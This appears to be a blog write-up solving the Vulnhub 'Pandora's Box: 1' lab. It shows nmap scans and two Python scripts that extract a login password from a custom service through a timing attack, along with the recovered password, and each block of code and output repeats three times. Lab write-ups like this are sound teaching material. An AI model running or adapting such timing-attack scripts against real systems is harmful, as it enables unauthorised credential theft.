Vulnhub Pandora’s Box: 1 ~ Solving

In this tutorial, we will learn how to solve Pandora’s box in vulnhub. I chose this box because this box has timing attack exploitation. First of all, we will start with finding machine ip on the network

Finding Machine In The Network

nmap -sn 192.168.128.1/24 | grep 'report' | awk {'print $5'}
192.168.128.1
192.168.128.2
192.168.128.128
192.168.128.250
192.168.128.254
192.168.128.212
nmap -sn 192.168.128.1/24 | grep 'report' | awk {'print $5'} 192.168.128.1 192.168.128.2 192.168.128.128 192.168.128.250 192.168.128.254 192.168.128.212
nmap -sn 192.168.128.1/24 | grep 'report' | awk {'print $5'}
192.168.128.1
192.168.128.2
192.168.128.128
192.168.128.250
192.168.128.254
192.168.128.212

After the scanning I found target ip 192.168.128.128 (this may be different for you)

Scanning the Ports of Machine

nmap -Pn -p- 192.168.128.128
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 12:59 EDT
Nmap scan report for 192.168.128.128
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
54311/tcp open unknown
nmap -Pn -p- 192.168.128.128 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 12:59 EDT Nmap scan report for 192.168.128.128 Host is up (0.00018s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 54311/tcp open unknown
nmap -Pn -p- 192.168.128.128
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 12:59 EDT
Nmap scan report for 192.168.128.128
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
54311/tcp open  unknown

After scanning the ports of target we can see weird port. That is 54311. Let’s try to connect to 54311. port.

I tried a lot of attack vectors for bypass there (Buffer Overflow, Format String Exploitation, Brute Forcing). Then I noticed this could be Timing attack. Briefly, a timing attack is: It requests a password and it keeps on requesting if the password is incorrect. This effects to response time. So we can develop an exploit for finding the password. Firstly I developed a script like bottom.

#!/usr/bin/python
import socket
import time
import sys
host = "192.168.128.128"
port = 54311
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
def getDuration(sentStr):
t = time.time()
while True:
infoRecv = s.recv(1024)
if 'Password:' in infoRecv:
dur = time.time() - t
s.send(sentStr)
t = time.time()
break
return dur
prevChar = ''
for c in chars:
duration = getDuration(c)
sys.stdout.write('Character: '+prevChar+' Duration: '+str(duration)+'\n') #print tried char and response duration
prevChar = c
s.close()
#!/usr/bin/python import socket import time import sys host = "192.168.128.128" port = 54311 chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) def getDuration(sentStr): t = time.time() while True: infoRecv = s.recv(1024) if 'Password:' in infoRecv: dur = time.time() - t s.send(sentStr) t = time.time() break return dur prevChar = '' for c in chars: duration = getDuration(c) sys.stdout.write('Character: '+prevChar+' Duration: '+str(duration)+'\n') #print tried char and response duration prevChar = c s.close()
 #!/usr/bin/python

import socket
import time
import sys

host = "192.168.128.128"
port = 54311
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))

def getDuration(sentStr):
 t = time.time()
 while True:
  infoRecv = s.recv(1024)
  if 'Password:' in infoRecv:
   dur = time.time() - t
   s.send(sentStr)
   t = time.time()
   break
 return dur

prevChar = ''
for c in chars:
 duration = getDuration(c)
 sys.stdout.write('Character: '+prevChar+' Duration: '+str(duration)+'\n') #print tried char and response duration
 prevChar = c

s.close()

RESULT OF THIS SCRIPT

python exp.py
Character: Duration: 0.00129508972168
Character: A Duration: 0.0505800247192
Character: B Duration: 0.0528399944305
Character: C Duration: 0.0509960651398
Character: D Duration: 0.0476508140564
Character: E Duration: 0.0474419593811
Character: F Duration: 0.0485258102417
Character: G Duration: 0.0475840568542
Character: H Duration: 0.0476741790771
Character: I Duration: 0.00556206703186
Character: J Duration: 0.00569796562195
Character: K Duration: 0.00564503669739
Character: L Duration: 0.00571393966675
Character: M Duration: 0.00557994842529
Character: N Duration: 0.0057430267334
Character: O Duration: 0.00632500648499
Character: P Duration: 0.00612592697144
Character: Q Duration: 0.00559282302856
Character: R Duration: 0.000180959701538
Character: S Duration: 0.00544595718384
Character: T Duration: 0.00569605827332
python exp.py Character: Duration: 0.00129508972168 Character: A Duration: 0.0505800247192 Character: B Duration: 0.0528399944305 Character: C Duration: 0.0509960651398 Character: D Duration: 0.0476508140564 Character: E Duration: 0.0474419593811 Character: F Duration: 0.0485258102417 Character: G Duration: 0.0475840568542 Character: H Duration: 0.0476741790771 Character: I Duration: 0.00556206703186 Character: J Duration: 0.00569796562195 Character: K Duration: 0.00564503669739 Character: L Duration: 0.00571393966675 Character: M Duration: 0.00557994842529 Character: N Duration: 0.0057430267334 Character: O Duration: 0.00632500648499 Character: P Duration: 0.00612592697144 Character: Q Duration: 0.00559282302856 Character: R Duration: 0.000180959701538 Character: S Duration: 0.00544595718384 Character: T Duration: 0.00569605827332
python exp.py 
Character:  Duration: 0.00129508972168
Character: A Duration: 0.0505800247192
Character: B Duration: 0.0528399944305
Character: C Duration: 0.0509960651398
Character: D Duration: 0.0476508140564
Character: E Duration: 0.0474419593811
Character: F Duration: 0.0485258102417
Character: G Duration: 0.0475840568542
Character: H Duration: 0.0476741790771
Character: I Duration: 0.00556206703186
Character: J Duration: 0.00569796562195
Character: K Duration: 0.00564503669739
Character: L Duration: 0.00571393966675
Character: M Duration: 0.00557994842529
Character: N Duration: 0.0057430267334
Character: O Duration: 0.00632500648499
Character: P Duration: 0.00612592697144
Character: Q Duration: 0.00559282302856
Character: R Duration: 0.000180959701538
Character: S Duration: 0.00544595718384
Character: T Duration: 0.00569605827332

I noticed R Character duration. That was different from others. So our first char was R. Now we have to develop new script and find other chars automatically.

#!/usr/bin/python
import socket
import time
import sys
server="192.168.128.128"
dstPort=54311
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
myString = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, dstPort))
def returnDuration(myStr, sentStr):
p = time.time()
while True:
infoRecv = s.recv(1024)
if 'Password:' in infoRecv:
dur = time.time() - p
theString = myStr + sentStr
s.send(theString)
p = time.time()
break
return dur
prevChar = ''
avgDuration = 0
totDuration = 0
counter = 1
while True:
for c in chars:
duration = returnDuration(myString, c)
if (duration < (avgDuration - 0.002)):
sys.stdout.write('Character: '+myString+prevChar+' Duration: '+str(duration)+'\n')
sys.stdout.flush()
myString += prevChar
break
totDuration += duration
avgDuration = totDuration / counter
prevChar = c
counter += 1
s.close()
#!/usr/bin/python import socket import time import sys server="192.168.128.128" dstPort=54311 chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" myString = "" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, dstPort)) def returnDuration(myStr, sentStr): p = time.time() while True: infoRecv = s.recv(1024) if 'Password:' in infoRecv: dur = time.time() - p theString = myStr + sentStr s.send(theString) p = time.time() break return dur prevChar = '' avgDuration = 0 totDuration = 0 counter = 1 while True: for c in chars: duration = returnDuration(myString, c) if (duration < (avgDuration - 0.002)): sys.stdout.write('Character: '+myString+prevChar+' Duration: '+str(duration)+'\n') sys.stdout.flush() myString += prevChar break totDuration += duration avgDuration = totDuration / counter prevChar = c counter += 1 s.close()
#!/usr/bin/python

import socket
import time
import sys

server="192.168.128.128"
dstPort=54311
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
myString = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, dstPort))

def returnDuration(myStr, sentStr):
 p = time.time()
 while True: 
  infoRecv = s.recv(1024)
  if 'Password:' in infoRecv:
   dur = time.time() - p
   theString = myStr + sentStr
   s.send(theString)
   p = time.time()
   break
 return dur

prevChar = ''
avgDuration = 0
totDuration = 0
counter = 1
while True:
 for c in chars:
  duration = returnDuration(myString, c)
  if (duration < (avgDuration - 0.002)):
   sys.stdout.write('Character: '+myString+prevChar+' Duration: '+str(duration)+'\n')
   sys.stdout.flush() 
   myString += prevChar
   break
  totDuration += duration
  avgDuration = totDuration / counter
  prevChar = c
  counter += 1

s.close()

RESULT

Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04 Duration: 0.000775098800659
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04r Duration: 0.000690937042236
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG Duration: 0.000648021697998
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0 Duration: 0.000640153884888
Password is : R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04 Duration: 0.000775098800659 Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04r Duration: 0.000690937042236 Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG Duration: 0.000648021697998 Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0 Duration: 0.000640153884888 Password is : R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d
 Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04 Duration: 0.000775098800659
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04r Duration: 0.000690937042236
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG Duration: 0.000648021697998
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0 Duration: 0.000640153884888

Password is : R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d

Yay, we got shell for level1 user. in other writeup we will try to get level2 user. Thanks for reading 🙂

Leave a Reply